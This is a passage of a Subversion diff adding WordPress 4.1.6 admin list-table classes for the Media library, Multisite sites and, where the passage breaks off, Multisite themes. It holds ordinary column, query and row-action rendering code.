+		$posts_columns['cb'] = '<input type="checkbox" />';
+		$posts_columns['icon'] = '';
+		/* translators: column name */
+		$posts_columns['title'] = _x( 'File', 'column name' );
+		$posts_columns['author'] = __( 'Author' );
+
+		$taxonomies = get_taxonomies_for_attachments( 'objects' );
+		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
+
+		/**
+		 * Filter the taxonomy columns for attachments in the Media list table.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array  $taxonomies An array of registered taxonomies to show for attachments.
+		 * @param string $post_type  The post type. Default 'attachment'.
+		 */
+		$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
+		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( 'category' == $taxonomy )
+				$column_key = 'categories';
+			elseif ( 'post_tag' == $taxonomy )
+				$column_key = 'tags';
+			else
+				$column_key = 'taxonomy-' . $taxonomy;
+
+			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
+		}
+
+		/* translators: column name */
+		if ( !$this->detached ) {
+			$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );
+			if ( post_type_supports( 'attachment', 'comments' ) )
+				$posts_columns['comments'] = '<span class="vers"><span title="' . esc_attr__( 'Comments' ) . '" class="comment-grey-bubble"></span></span>';
+		}
+		/* translators: column name */
+		$posts_columns['date'] = _x( 'Date', 'column name' );
+		/**
+		 * Filter the Media list table columns.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $posts_columns An array of columns displayed in the Media list table.
+		 * @param bool  $detached      Whether the list table contains media not attached
+		 *                             to any posts. Default true.
+		 */
+		$posts_columns = apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
+
+		return $posts_columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'title'    => 'title',
+			'author'   => 'author',
+			'parent'   => 'parent',
+			'comments' => 'comment_count',
+			'date'     => array( 'date', true ),
+		);
+	}
+
+	public function display_rows() {
+		global $post;
+
+		add_filter( 'the_title','esc_html' );
+		$alt = '';
+
+		while ( have_posts() ) : the_post();
+			$user_can_edit = current_user_can( 'edit_post', $post->ID );
+
+			if ( $this->is_trash && $post->post_status != 'trash'
+			||  !$this->is_trash && $post->post_status == 'trash' )
+				continue;
+
+			$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
+			$post_owner = ( get_current_user_id() == $post->post_author ) ? 'self' : 'other';
+			$att_title = _draft_or_post_title();
+?>
+	<tr id="post-<?php echo $post->ID; ?>" class="<?php echo trim( $alt . ' author-' . $post_owner . ' status-' . $post->post_status ); ?>">
+<?php
+
+list( $columns, $hidden ) = $this->get_column_info();
+foreach ( $columns as $column_name => $column_display_name ) {
+	$class = "class='$column_name column-$column_name'";
+
+	$style = '';
+	if ( in_array( $column_name, $hidden ) )
+		$style = ' style="display:none;"';
+
+	$attributes = $class . $style;
+
+	switch ( $column_name ) {
+
+	case 'cb':
+?>
+		<th scope="row" class="check-column">
+			<?php if ( $user_can_edit ) { ?>
+				<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php echo sprintf( __( 'Select %s' ), $att_title );?></label>
+				<input type="checkbox" name="media[]" id="cb-select-<?php the_ID(); ?>" value="<?php the_ID(); ?>" />
+			<?php } ?>
+		</th>
+<?php
+		break;
+
+	case 'icon':
+		list( $mime ) = explode( '/', $post->post_mime_type );
+		$attributes = 'class="column-icon media-icon ' . $mime . '-icon"' . $style;
+?>
+		<td <?php echo $attributes ?>><?php
+			if ( $thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true ) ) {
+				if ( $this->is_trash || ! $user_can_edit ) {
+					echo $thumb;
+				} else {
+?>
+				<a href="<?php echo get_edit_post_link( $post->ID, true ); ?>" title="<?php echo esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ); ?>">
+					<?php echo $thumb; ?>
+				</a>
+
+<?php			}
+			}
+?>
+		</td>
+<?php
+		break;
+
+	case 'title':
+?>
+		<td <?php echo $attributes ?>><strong>
+			<?php if ( $this->is_trash || ! $user_can_edit ) {
+				echo $att_title;
+			} else { ?>
+			<a href="<?php echo get_edit_post_link( $post->ID, true ); ?>"
+				title="<?php echo esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ); ?>">
+				<?php echo $att_title; ?></a>
+			<?php };
+			_media_states( $post ); ?></strong>
+			<p>
+<?php
+			if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) )
+				echo esc_html( strtoupper( $matches[1] ) );
+			else
+				echo strtoupper( str_replace( 'image/', '', get_post_mime_type() ) );
+?>
+			</p>
+<?php
+		echo $this->row_actions( $this->_get_row_actions( $post, $att_title ) );
+?>
+		</td>
+<?php
+		break;
+
+	case 'author':
+?>
+		<td <?php echo $attributes ?>><?php
+			printf( '<a href="%s">%s</a>',
+				esc_url( add_query_arg( array( 'author' => get_the_author_meta('ID') ), 'upload.php' ) ),
+				get_the_author()
+			);
+		?></td>
+<?php
+		break;
+
+	case 'desc':
+?>
+		<td <?php echo $attributes ?>><?php echo has_excerpt() ? $post->post_excerpt : ''; ?></td>
+<?php
+		break;
+
+	case 'date':
+		if ( '0000-00-00 00:00:00' == $post->post_date ) {
+			$h_time = __( 'Unpublished' );
+		} else {
+			$m_time = $post->post_date;
+			$time = get_post_time( 'G', true, $post, false );
+			if ( ( abs( $t_diff = time() - $time ) ) < DAY_IN_SECONDS ) {
+				if ( $t_diff < 0 )
+					$h_time = sprintf( __( '%s from now' ), human_time_diff( $time ) );
+				else
+					$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
+			} else {
+				$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
+			}
+		}
+?>
+		<td <?php echo $attributes ?>><?php echo $h_time ?></td>
+<?php
+		break;
+
+	case 'parent':
+		if ( $post->post_parent > 0 )
+			$parent = get_post( $post->post_parent );
+		else
+			$parent = false;
+
+		if ( $parent ) {
+			$title = _draft_or_post_title( $post->post_parent );
+			$parent_type = get_post_type_object( $parent->post_type );
+?>
+			<td <?php echo $attributes ?>><strong>
+				<?php if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) { ?>
+					<a href="<?php echo get_edit_post_link( $post->post_parent ); ?>">
+						<?php echo $title ?></a><?php
+				} else {
+					echo $title;
+				} ?></strong>,
+				<?php echo get_the_time( __( 'Y/m/d' ) ); ?>
+			</td>
+<?php
+		} else {
+?>
+			<td <?php echo $attributes ?>><?php _e( '(Unattached)' ); ?><br />
+			<?php if ( $user_can_edit ) { ?>
+				<a class="hide-if-no-js"
+					onclick="findPosts.open( 'media[]','<?php echo $post->ID ?>' ); return false;"
+					href="#the-list">
+					<?php _e( 'Attach' ); ?></a>
+			<?php } ?></td>
+<?php
+		}
+		break;
+
+	case 'comments':
+		$attributes = 'class="comments column-comments num"' . $style;
+?>
+		<td <?php echo $attributes ?>>
+			<div class="post-com-count-wrapper">
+<?php
+		$pending_comments = get_pending_comments_num( $post->ID );
+
+		$this->comments_bubble( $post->ID, $pending_comments );
+?>
+			</div>
+		</td>
+<?php
+		break;
+
+	default:
+		if ( 'categories' == $column_name )
+			$taxonomy = 'category';
+		elseif ( 'tags' == $column_name )
+			$taxonomy = 'post_tag';
+		elseif ( 0 === strpos( $column_name, 'taxonomy-' ) )
+			$taxonomy = substr( $column_name, 9 );
+		else
+			$taxonomy = false;
+
+		if ( $taxonomy ) {
+			echo '<td ' . $attributes . '>';
+			if ( $terms = get_the_terms( $post->ID, $taxonomy ) ) {
+				$out = array();
+				foreach ( $terms as $t ) {
+					$posts_in_term_qv = array();
+					$posts_in_term_qv['taxonomy'] = $taxonomy;
+					$posts_in_term_qv['term'] = $t->slug;
+
+					$out[] = sprintf( '<a href="%s">%s</a>',
+						esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
+						esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
+					);
+				}
+				/* translators: used between list items, there is a space after the comma */
+				echo join( __( ', ' ), $out );
+			} else {
+				echo '&#8212;';
+			}
+			echo '</td>';
+			break;
+		}
+?>
+		<td <?php echo $attributes ?>><?php
+			/**
+			 * Fires for each custom column in the Media list table.
+			 *
+			 * Custom columns are registered using the 'manage_media_columns' filter.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $column_name Name of the custom column.
+			 * @param int    $post_id     Attachment ID.
+			 */
+			do_action( 'manage_media_custom_column', $column_name, $post->ID );
+		?></td>
+<?php
+		break;
+	}
+}
+?>
+	</tr>
+<?php endwhile;
+	}
+
+	/**
+	 * @param WP_Post $post
+	 * @param string  $att_title
+	 */
+	private function _get_row_actions( $post, $att_title ) {
+		$actions = array();
+
+		if ( $this->detached ) {
+			if ( current_user_can( 'edit_post', $post->ID ) )
+				$actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '">' . __( 'Edit' ) . '</a>';
+			if ( current_user_can( 'delete_post', $post->ID ) )
+				if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
+					$actions['trash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ) . "'>" . __( 'Trash' ) . "</a>";
+				} else {
+					$delete_ays = !MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
+					$actions['delete'] = "<a class='submitdelete'$delete_ays href='" . wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ) . "'>" . __( 'Delete Permanently' ) . "</a>";
+				}
+			$actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>';
+			if ( current_user_can( 'edit_post', $post->ID ) )
+				$actions['attach'] = '<a href="#the-list" onclick="findPosts.open( \'media[]\',\''.$post->ID.'\' );return false;" class="hide-if-no-js">'.__( 'Attach' ).'</a>';
+		}
+		else {
+			if ( current_user_can( 'edit_post', $post->ID ) && !$this->is_trash )
+				$actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '">' . __( 'Edit' ) . '</a>';
+			if ( current_user_can( 'delete_post', $post->ID ) ) {
+				if ( $this->is_trash )
+					$actions['untrash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$post->ID", 'untrash-post_' . $post->ID ) . "'>" . __( 'Restore' ) . "</a>";
+				elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH )
+					$actions['trash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ) . "'>" . __( 'Trash' ) . "</a>";
+				if ( $this->is_trash || !EMPTY_TRASH_DAYS || !MEDIA_TRASH ) {
+					$delete_ays = ( !$this->is_trash && !MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';
+					$actions['delete'] = "<a class='submitdelete'$delete_ays href='" . wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ) . "'>" . __( 'Delete Permanently' ) . "</a>";
+				}
+			}
+			if ( !$this->is_trash ) {
+				$title =_draft_or_post_title( $post->post_parent );
+				$actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>';
+			}
+		}
+
+		/**
+		 * Filter the action links for each attachment in the Media list table.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array   $actions  An array of action links for each attachment.
+		 *                          Default 'Edit', 'Delete Permanently', 'View'.
+		 * @param WP_Post $post     WP_Post object for the current attachment.
+		 * @param bool    $detached Whether the list table contains media not attached
+		 *                          to any posts. Default true.
+		 */
+		$actions = apply_filters( 'media_row_actions', $actions, $post, $this->detached );
+
+		return $actions;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-ms-sites-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-ms-sites-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-ms-sites-list-table.php	(revision 33402)
@@ -0,0 +1,405 @@
+<?php
+/**
+ * Sites List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_MS_Sites_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'plural' => 'sites',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function ajax_user_can() {
+		return current_user_can( 'manage_sites' );
+	}
+
+	public function prepare_items() {
+		global $s, $mode, $wpdb;
+
+		$current_site = get_current_site();
+
+		$mode = ( empty( $_REQUEST['mode'] ) ) ? 'list' : $_REQUEST['mode'];
+
+		$per_page = $this->get_items_per_page( 'sites_network_per_page' );
+
+		$pagenum = $this->get_pagenum();
+
+		$s = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST[ 's' ] ) ) : '';
+		$wild = '';
+		if ( false !== strpos($s, '*') ) {
+			$wild = '%';
+			$s = trim($s, '*');
+		}
+
+		/*
+		 * If the network is large and a search is not being performed, show only
+		 * the latest blogs with no paging in order to avoid expensive count queries.
+		 */
+		if ( !$s && wp_is_large_network() ) {
+			if ( !isset($_REQUEST['orderby']) )
+				$_GET['orderby'] = $_REQUEST['orderby'] = '';
+			if ( !isset($_REQUEST['order']) )
+				$_GET['order'] = $_REQUEST['order'] = 'DESC';
+		}
+
+		$query = "SELECT * FROM {$wpdb->blogs} WHERE site_id = '{$wpdb->siteid}' ";
+
+		if ( empty($s) ) {
+			// Nothing to do.
+		} elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.$/', $s ) ) {
+			// IPv4 address
+			$sql = $wpdb->prepare( "SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE %s", $wpdb->esc_like( $s ) . $wild );
+			$reg_blog_ids = $wpdb->get_col( $sql );
+
+			if ( !$reg_blog_ids )
+				$reg_blog_ids = array( 0 );
+
+			$query = "SELECT *
+				FROM {$wpdb->blogs}
+				WHERE site_id = '{$wpdb->siteid}'
+				AND {$wpdb->blogs}.blog_id IN (" . implode( ', ', $reg_blog_ids ) . ")";
+		} else {
+			if ( is_numeric($s) && empty( $wild ) ) {
+				$query .= $wpdb->prepare( " AND ( {$wpdb->blogs}.blog_id = %s )", $s );
+			} elseif ( is_subdomain_install() ) {
+				$blog_s = str_replace( '.' . $current_site->domain, '', $s );
+				$blog_s = $wpdb->esc_like( $blog_s ) . $wild . $wpdb->esc_like( '.' . $current_site->domain );
+				$query .= $wpdb->prepare( " AND ( {$wpdb->blogs}.domain LIKE %s ) ", $blog_s );
+			} else {
+				if ( $s != trim('/', $current_site->path) ) {
+					$blog_s = $wpdb->esc_like( $current_site->path . $s ) . $wild . $wpdb->esc_like( '/' );
+				} else {
+					$blog_s = $wpdb->esc_like( $s );
+				}
+				$query .= $wpdb->prepare( " AND  ( {$wpdb->blogs}.path LIKE %s )", $blog_s );
+			}
+		}
+
+		$order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : '';
+		if ( $order_by == 'registered' ) {
+			$query .= ' ORDER BY registered ';
+		} elseif ( $order_by == 'lastupdated' ) {
+			$query .= ' ORDER BY last_updated ';
+		} elseif ( $order_by == 'blogname' ) {
+			if ( is_subdomain_install() )
+				$query .= ' ORDER BY domain ';
+			else
+				$query .= ' ORDER BY path ';
+		} elseif ( $order_by == 'blog_id' ) {
+			$query .= ' ORDER BY blog_id ';
+		} else {
+			$order_by = null;
+		}
+
+		if ( isset( $order_by ) ) {
+			$order = ( isset( $_REQUEST['order'] ) && 'DESC' == strtoupper( $_REQUEST['order'] ) ) ? "DESC" : "ASC";
+			$query .= $order;
+		}
+
+		// Don't do an unbounded count on large networks
+		if ( ! wp_is_large_network() )
+			$total = $wpdb->get_var( str_replace( 'SELECT *', 'SELECT COUNT( blog_id )', $query ) );
+
+		$query .= " LIMIT " . intval( ( $pagenum - 1 ) * $per_page ) . ", " . intval( $per_page );
+		$this->items = $wpdb->get_results( $query, ARRAY_A );
+
+		if ( wp_is_large_network() )
+			$total = count($this->items);
+
+		$this->set_pagination_args( array(
+			'total_items' => $total,
+			'per_page' => $per_page,
+		) );
+	}
+
+	public function no_items() {
+		_e( 'No sites found.' );
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( current_user_can( 'delete_sites' ) )
+			$actions['delete'] = __( 'Delete' );
+		$actions['spam'] = _x( 'Mark as Spam', 'site' );
+		$actions['notspam'] = _x( 'Not Spam', 'site' );
+
+		return $actions;
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		global $mode;
+
+		parent::pagination( $which );
+
+		if ( 'top' == $which )
+			$this->view_switcher( $mode );
+	}
+
+	public function get_columns() {
+		$blogname_columns = ( is_subdomain_install() ) ? __( 'Domain' ) : __( 'Path' );
+		$sites_columns = array(
+			'cb'          => '<input type="checkbox" />',
+			'blogname'    => $blogname_columns,
+			'lastupdated' => __( 'Last Updated' ),
+			'registered'  => _x( 'Registered', 'site' ),
+			'users'       => __( 'Users' )
+		);
+
+		if ( has_filter( 'wpmublogsaction' ) )
+			$sites_columns['plugins'] = __( 'Actions' );
+
+		/**
+		 * Filter the displayed site columns in Sites list table.
+		 *
+		 * @since MU
+		 *
+		 * @param array $sites_columns An array of displayed site columns. Default 'cb',
+		 *                             'blogname', 'lastupdated', 'registered', 'users'.
+		 */
+		$sites_columns = apply_filters( 'wpmu_blogs_columns', $sites_columns );
+
+		return $sites_columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'blogname'    => 'blogname',
+			'lastupdated' => 'lastupdated',
+			'registered'  => 'blog_id',
+		);
+	}
+
+	public function display_rows() {
+		global $mode;
+
+		$status_list = array(
+			'archived' => array( 'site-archived', __( 'Archived' ) ),
+			'spam'     => array( 'site-spammed', _x( 'Spam', 'site' ) ),
+			'deleted'  => array( 'site-deleted', __( 'Deleted' ) ),
+			'mature'   => array( 'site-mature', __( 'Mature' ) )
+		);
+
+		if ( 'list' == $mode ) {
+			$date = 'Y/m/d';
+		} else {
+			$date = 'Y/m/d \<\b\r \/\> g:i:s a';
+		}
+
+		$class = '';
+		foreach ( $this->items as $blog ) {
+			$class = ( 'alternate' == $class ) ? '' : 'alternate';
+			reset( $status_list );
+
+			$blog_states = array();
+			foreach ( $status_list as $status => $col ) {
+				if ( get_blog_status( $blog['blog_id'], $status ) == 1 ) {
+					$class = $col[0];
+					$blog_states[] = $col[1];
+				}
+			}
+			$blog_state = '';
+			if ( ! empty( $blog_states ) ) {
+				$state_count = count( $blog_states );
+				$i = 0;
+				$blog_state .= ' - ';
+				foreach ( $blog_states as $state ) {
+					++$i;
+					( $i == $state_count ) ? $sep = '' : $sep = ', ';
+					$blog_state .= "<span class='post-state'>$state$sep</span>";
+				}
+			}
+			echo "<tr class='$class'>";
+
+			$blogname = ( is_subdomain_install() ) ? str_replace( '.' . get_current_site()->domain, '', $blog['domain'] ) : $blog['path'];
+
+			list( $columns, $hidden ) = $this->get_column_info();
+
+			foreach ( $columns as $column_name => $column_display_name ) {
+				$style = '';
+				if ( in_array( $column_name, $hidden ) )
+					$style = ' style="display:none;"';
+
+				switch ( $column_name ) {
+					case 'cb': ?>
+						<th scope="row" class="check-column">
+							<?php if ( ! is_main_site( $blog['blog_id'] ) ) : ?>
+							<label class="screen-reader-text" for="blog_<?php echo $blog['blog_id']; ?>"><?php printf( __( 'Select %s' ), $blogname ); ?></label>
+							<input type="checkbox" id="blog_<?php echo $blog['blog_id'] ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ) ?>" />
+							<?php endif; ?>
+						</th>
+					<?php
+					break;
+
+					case 'id':?>
+						<th scope="row">
+							<?php echo $blog['blog_id'] ?>
+						</th>
+					<?php
+					break;
+
+					case 'blogname':
+						echo "<td class='column-$column_name $column_name'$style>"; ?>
+							<a href="<?php echo esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ); ?>" class="edit"><?php echo $blogname . $blog_state; ?></a>
+							<?php
+							if ( 'list' != $mode ) {
+								switch_to_blog( $blog['blog_id'] );
+								echo '<p>' . sprintf( _x( '%1$s &#8211; <em>%2$s</em>', '%1$s: site name. %2$s: site tagline.' ), get_option( 'blogname' ), get_option( 'blogdescription ' ) ) . '</p>';
+								restore_current_blog();
+							}
+
+							// Preordered.
+							$actions = array(
+								'edit' => '', 'backend' => '',
+								'activate' => '', 'deactivate' => '',
+								'archive' => '', 'unarchive' => '',
+								'spam' => '', 'unspam' => '',
+								'delete' => '',
+								'visit' => '',
+							);
+
+							$actions['edit']	= '<span class="edit"><a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'Edit' ) . '</a></span>';
+							$actions['backend']	= "<span class='backend'><a href='" . esc_url( get_admin_url( $blog['blog_id'] ) ) . "' class='edit'>" . __( 'Dashboard' ) . '</a></span>';
+							if ( get_current_site()->blog_id != $blog['blog_id'] ) {
+								if ( get_blog_status( $blog['blog_id'], 'deleted' ) == '1' )
+									$actions['activate']	= '<span class="activate"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=activateblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to activate the site %s' ), $blogname ) ) ), 'confirm' ) ) . '">' . __( 'Activate' ) . '</a></span>';
+								else
+									$actions['deactivate']	= '<span class="activate"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=deactivateblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to deactivate the site %s' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Deactivate' ) . '</a></span>';
+
+								if ( get_blog_status( $blog['blog_id'], 'archived' ) == '1' )
+									$actions['unarchive']	= '<span class="archive"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=unarchiveblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to unarchive the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Unarchive' ) . '</a></span>';
+								else
+									$actions['archive']	= '<span class="archive"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=archiveblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to archive the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Archive', 'verb; site' ) . '</a></span>';
+
+								if ( get_blog_status( $blog['blog_id'], 'spam' ) == '1' )
+									$actions['unspam']	= '<span class="spam"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=unspamblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to unspam the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Not Spam', 'site' ) . '</a></span>';
+								else
+									$actions['spam']	= '<span class="spam"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=spamblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to mark the site %s as spam.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Spam', 'site' ) . '</a></span>';
+
+								if ( current_user_can( 'delete_site', $blog['blog_id'] ) )
+									$actions['delete']	= '<span class="delete"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=deleteblog&amp;id=' . $blog['blog_id'] . '&amp;msg=' . urlencode( sprintf( __( 'You are about to delete the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Delete' ) . '</a></span>';
+							}
+
+							$actions['visit']	= "<span class='view'><a href='" . esc_url( get_home_url( $blog['blog_id'], '/' ) ) . "' rel='permalink'>" . __( 'Visit' ) . '</a></span>';
+
+							/**
+							 * Filter the action links displayed for each site in the Sites list table.
+							 *
+							 * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by
+							 * default for each site. The site's status determines whether to show the
+							 * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and
+							 * 'Not Spam' or 'Spam' link for each site.
+							 *
+							 * @since 3.1.0
+							 *
+							 * @param array  $actions  An array of action links to be displayed.
+							 * @param int    $blog_id  The site ID.
+							 * @param string $blogname Site path, formatted depending on whether it is a sub-domain
+							 *                         or subdirectory multisite install.
+							 */
+							$actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname );
+							echo $this->row_actions( $actions );
+					?>
+						</td>
+					<?php
+					break;
+
+					case 'lastupdated':
+						echo "<td class='$column_name column-$column_name'$style>";
+							echo ( $blog['last_updated'] == '0000-00-00 00:00:00' ) ? __( 'Never' ) : mysql2date( $date, $blog['last_updated'] ); ?>
+						</td>
+					<?php
+					break;
+				case 'registered':
+						echo "<td class='$column_name column-$column_name'$style>";
+						if ( $blog['registered'] == '0000-00-00 00:00:00' )
+							echo '&#x2014;';
+						else
+							echo mysql2date( $date, $blog['registered'] );
+						?>
+						</td>
+					<?php
+					break;
+				case 'users':
+						echo "<td class='$column_name column-$column_name'$style>";
+							$blogusers = get_users( array( 'blog_id' => $blog['blog_id'], 'number' => 6) );
+							if ( is_array( $blogusers ) ) {
+								$blogusers_warning = '';
+								if ( count( $blogusers ) > 5 ) {
+									$blogusers = array_slice( $blogusers, 0, 5 );
+									$blogusers_warning = __( 'Only showing first 5 users.' ) . ' <a href="' . esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'More' ) . '</a>';
+								}
+								foreach ( $blogusers as $user_object ) {
+									echo '<a href="' . esc_url( network_admin_url( 'user-edit.php?user_id=' . $user_object->ID ) ) . '">' . esc_html( $user_object->user_login ) . '</a> ';
+									if ( 'list' != $mode )
+										echo '( ' . $user_object->user_email . ' )';
+									echo '<br />';
+								}
+								if ( $blogusers_warning != '' )
+									echo '<strong>' . $blogusers_warning . '</strong><br />';
+							}
+							?>
+						</td>
+					<?php
+					break;
+
+				case 'plugins': ?>
+					<?php if ( has_filter( 'wpmublogsaction' ) ) {
+					echo "<td class='$column_name column-$column_name'$style>";
+						/**
+						 * Fires inside the auxiliary 'Actions' column of the Sites list table.
+						 *
+						 * By default this column is hidden unless something is hooked to the action.
+						 *
+						 * @since MU
+						 *
+						 * @param int $blog_id The site ID.
+						 */
+						do_action( 'wpmublogsaction', $blog['blog_id'] ); ?>
+					</td>
+					<?php }
+					break;
+
+				default:
+					echo "<td class='$column_name column-$column_name'$style>";
+					/**
+					 * Fires for each registered custom column in the Sites list table.
+					 *
+					 * @since 3.1.0
+					 *
+					 * @param string $column_name The name of the column to display.
+					 * @param int    $blog_id     The site ID.
+					 */
+					do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] );
+					echo "</td>";
+					break;
+				}
+			}
+			?>
+			</tr>
+			<?php
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-ms-themes-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-ms-themes-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-ms-themes-list-table.php	(revision 33402)
@@ -0,0 +1,478 @@
+<?php
+/**
+ * MS Themes List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_MS_Themes_List_Table extends WP_List_Table {
+
+	public $site_id;
+	public $is_site_themes;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $status, $page;
+
+		parent::__construct( array(
+			'plural' => 'themes',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
+		if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) )
+			$status = 'all';
+
+		$page = $this->get_pagenum();
+
+		$this->is_site_themes = ( 'site-themes-network' == $this->screen->id ) ? true : false;
+
+		if ( $this->is_site_themes )
+			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+	}
+
+	protected function get_table_classes() {
+		// todo: remove and add CSS for .themes
+		return array( 'widefat', 'plugins' );
+	}
+
+	public function ajax_user_can() {
+		if ( $this->is_site_themes )
+			return current_user_can( 'manage_sites' );
+		else
+			return current_user_can( 'manage_network_themes' );
+	}
+
+	public function prepare_items() {
+		global $status, $totals, $page, $orderby, $order, $s;
+
+		wp_reset_vars( array( 'orderby', 'order', 's' ) );
+
+		$themes = array(
+			/**
+			 * Filter the full array of WP_Theme objects to list in the Multisite
